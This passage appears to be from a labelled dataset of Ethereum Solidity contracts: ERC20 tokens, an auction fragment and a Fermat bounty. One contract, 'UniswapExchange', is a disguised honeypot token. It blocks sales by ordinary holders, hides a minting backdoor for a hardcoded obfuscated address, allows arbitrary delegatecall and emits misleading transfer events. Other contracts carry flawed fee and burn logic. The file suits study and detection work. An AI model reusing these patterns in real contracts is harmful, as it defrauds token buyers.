shouldForwardTokens: _shouldForwardTokens,
forwardTarget: _forwardTarget,
isAllowed: true
});
emit TokenAllowed(
msg.sender,
_address,
_decimals,
_shouldBurnTokens,
_shouldForwardTokens,
_forwardTarget
);
}
function disableToken(address _address) public onlyOwner {
require(
tokensAllowed[_address].isAllowed,
"The ERC20 token is already disabled"
);
delete tokensAllowed[_address];
emit TokenDisabled(msg.sender, _address);
}
function _setCurve(uint256[] _xPoints, uint256[] _yPoints) internal {
uint256 pointsLength = _xPoints.length;
require(pointsLength == _yPoints.length, "Points should have the same length");
for (uint i = 0; i < pointsLength - 1; i++) {
uint256 x1 = _xPoints[i];
uint256 x2 = _xPoints[i + 1];
uint256 y1 = _yPoints[i];
uint256 y2 = _yPoints[i + 1];
require(x1 < x2, "X points should increase");
require(y1 > y2, "Y points should decrease");
(uint256 base, uint256 slope) = _getFunc(
x1,
x2,
y1,
y2
);
curves.push(Func({
base: base,
slope: slope,
limit: x2
}));
}
initialPrice = _yPoints[0];
endPrice = _yPoints[pointsLength - 1];
}
function _getFunc(
uint256 _x1,
uint256 _x2,
uint256 _y1,
uint256 _y2
) internal pure returns (uint256 base, uint256 slope)
{
base = ((_x2.mul(_y1)).sub(_x1.mul(_y2))).div(_x2.sub(_x1));
slope = (_y1.sub(_y2)).div(_x2.sub(_x1));
}
function _getBidId() private view returns (uint256) {
return totalBids;
}
function _normalizeDecimals(
uint256 _decimals,
uint256 _value
)
internal pure returns (uint256 _result)
{
_result = _value.div(10**MAX_DECIMALS.sub(_decimals));
}
function _updateStats(uint256 _landsBidded, uint256 _manaAmountBurned) private {
totalBids = totalBids.add(1);
totalLandsBidded = totalLandsBidded.add(_landsBidded);
totalManaBurned = totalManaBurned.add(_manaAmountBurned);
}
} | 1 | 3,514 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,761 |
pragma solidity ^0.4.18;
contract Fermat {
address public owner = msg.sender;
uint releaseTime = now + 17280000;
function addBalance() public payable {
}
function getOwner() view public returns (address) {
return owner;
}
function getReleaseTime() view public returns (uint) {
return releaseTime;
}
function withdraw() public {
require(msg.sender == owner);
require(now >= releaseTime);
msg.sender.transfer(this.balance);
}
function getBalance() view public returns (uint256) {
return this.balance;
}
function claim(uint256 a, uint256 b, uint256 c, uint256 n) public {
uint256 value = solve(a, b, c, n);
if (value == 0) {
msg.sender.transfer(this.balance);
}
}
function solve(uint256 a, uint256 b, uint256 c, uint256 n) pure public returns (uint256) {
assert(n > 2);
assert(a > 0);
assert(b > 0);
assert(c > 0);
uint256 aExp = power(a, n);
uint256 bExp = power(b, n);
uint256 cExp = power(c, n);
uint256 sum = add(aExp, bExp);
uint256 difference = sub(sum, cExp);
return difference;
}
function power(uint256 a, uint256 pow) pure public returns (uint256) {
assert(a > 0);
assert(pow > 0);
uint256 result = 1;
if (a == 0) {
return 1;
}
uint256 temp;
for (uint256 i = 0; i < pow; i++) {
temp = result * a;
assert((temp / a) == result);
result = temp;
}
return uint256(result);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
} | 1 | 2,739 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Uptrennd is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function Uptrennd() public {
symbol = "1UP";
name = "Uptrennd";
decimals = 18;
_totalSupply = 10000000000000000000000000000;
balances[0x596023cEAb4529f7002Fab33AE030a062e43a516] = _totalSupply;
Transfer(address(0), 0x596023cEAb4529f7002Fab33AE030a062e43a516, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function burn(uint256 _value , uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
_totalSupply -= _value;
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 5,183 |
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SUCK is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private m_Balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private isBot;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 * 10**1 * 10**9;
uint256 private _tFeeTotal = 10;
string private _name = "SUCK";
string private _symbol = "SUCK";
uint8 private _decimals = 9;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address payable public MarketingandDevWallet = payable(0x3f4cF2b72CbA8a1696CdfbF29329bA36d0B93268);
bool inSwapAndLiquify;
bool public tradingOpen;
uint256 public launchedAt;
uint256 private _blockLimit = 1;
bool private _cooldownEnabled=true;
uint256 public _maxTxAmount = 4000001 * 10**9;
uint256 public numTokensSellToAddToLiquidity = 10000000 * 10**9;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () public {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
m_Balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address _account) public view override returns (uint256) {
return m_Balances[_account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setFeePercent(uint256 newFee) external onlyOwner() {
require (_tFeeTotal <= 10, "Fee can't exceed 10%");
_tFeeTotal = newFee;
}
receive() external payable {}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function sendETHToFee(uint256 amount) private {
swapTokensForEth(amount);
MarketingandDevWallet.call{value: address(this).balance}("");
}
function _setMarketingandDevWallet(address payable newWallet) external onlyOwner() {
MarketingandDevWallet = newWallet;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
require(tradingOpen, "Trading not yet enabled.");
require (!isBot[from] && !isBot[to], "Bot!");
if (block.number <= (launchedAt + _blockLimit)) {
isBot[to] = true;
}
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
}
if(from == uniswapV2Pair && !_isExcludedFromFee[to]) {
if(_cooldownEnabled) {
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (30 seconds);
}
}
uint256 _taxes = 0;
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
if ((from == uniswapV2Pair || to == uniswapV2Pair)) {
_taxes = _getTaxes(from, to, amount);
}
_updateBalances(from, to, amount, _taxes);
}
function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private {
uint256 _netAmount = _amount.sub(_taxes);
m_Balances[_sender] = m_Balances[_sender].sub(_amount);
m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount);
m_Balances[address(this)] = m_Balances[address(this)].add(_taxes);
emit Transfer(_sender, _recipient, _netAmount);
}
function _getTaxes(address sender, address recipient, uint256 amount) private view returns (uint256) {
uint256 _netTaxes = 0;
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
return _netTaxes;
}
_netTaxes = amount.mul(_tFeeTotal).div(100);
return _netTaxes;
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 halfOfLiquify = contractTokenBalance.div(8);
uint256 otherHalfOfLiquify = contractTokenBalance.div(8);
